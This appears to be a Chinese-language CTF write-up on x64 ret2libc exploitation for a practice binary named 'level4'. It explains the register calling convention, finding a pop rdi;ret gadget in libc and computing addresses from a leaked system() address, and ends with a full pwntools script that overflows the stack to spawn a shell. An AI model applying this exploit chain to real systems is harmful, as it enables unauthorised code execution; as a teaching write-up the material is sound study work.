X64_ret2libc

前言

原来PWN题都是用ubuntu做的啊!入门以来的这个学期我都用的是kali真的是太捞了,期间出现了各种各样莫名其妙的问题,
这是我在XMAN4遇到libcsearcher时碰到搜索结果不匹配时发现的,尴尬的是组会时槐师傅(其实是所有师傅)都说用ubuntu,
原来他们以前有教过,谁叫我是半路出家,头铁的用了半年kali。

X64汇编

与X86最大的不同之处就是X64的地址,寄存器,数据,都变成了8个byte,更重要的是,为了防止对栈溢出的滥用,X64不再采用
X86的压栈式的传参方式,而是采用专用的寄存器保存函数的参数,它们是RDI,RSI,RDX,RCX,R8和 R9。只有参数数量大于6
个时才会使用栈保存后面的参数。

内存异常

可以使用的内存地址不超过0x00007fffffffffff,否则会抛出异常(非法访问)。

漏洞

存在任意长read,会导致栈溢出。

劫持程序流

与X86类似,栈溢出覆盖返回地址,

garget

为了达成某些目的,我们需要给调用的函数合适的参数,如’/bin/sh’,在X86中,直接将参数写在payload里面,伪造栈帧,因为
它通过压栈传参。而X64就要复杂一些,构造栈帧不再有效,需要将参数传入寄存器,而这就是我们寻找garget的原因。

garget是什么

garget就是程序中的一句汇编语句,可以连续执行,一条接着一条,形如:pop xxx;ret;达到给寄存器赋值的目的,还可以连续不断的
延伸下去。

寻找 garget

对于这道题,由于采用了动态链接,程序本身并不大,所以找不到太多合适的garget,有一个操作就是在libc中寻找,libc多大啊,

1
>ROPgarget --binary libc.so.6 --only "ret|pop" | grep "rdi"

因为我们的最终目标是执行system(“/bin/sh”)所以我们需要一个pop rdi;ret,这是可以找的到的。

计算libc基址

程序提供了libc真实地址,libc偏移量计算与X86下计算方法相同。
再计算出”bin/sh”,pop_ret的真实地址,可以开始构建payload了。

payload

‘a’*(0x90-4)+pop_ret_addr+binsh_addr+sys_addr

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
#context.log_level='debug'
p=process('./level4')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
binsh_addr_offset = next(libc.search('/bin/sh')) -libc.symbols['system']
pop_ret_offset = 0x0000000000021102 - libc.symbols['system']
system_addr_str = p.recvuntil('\n')
system_addr = int(system_addr_str,16)
binsh_addr = system_addr + binsh_addr_offset
pop_ret_addr = system_addr + pop_ret_offset
payload='a'*136+p64(pop_ret_addr)+p64(binsh_addr)+p64(system_addr)
p.recv()
p.send(payload)
p.interactive()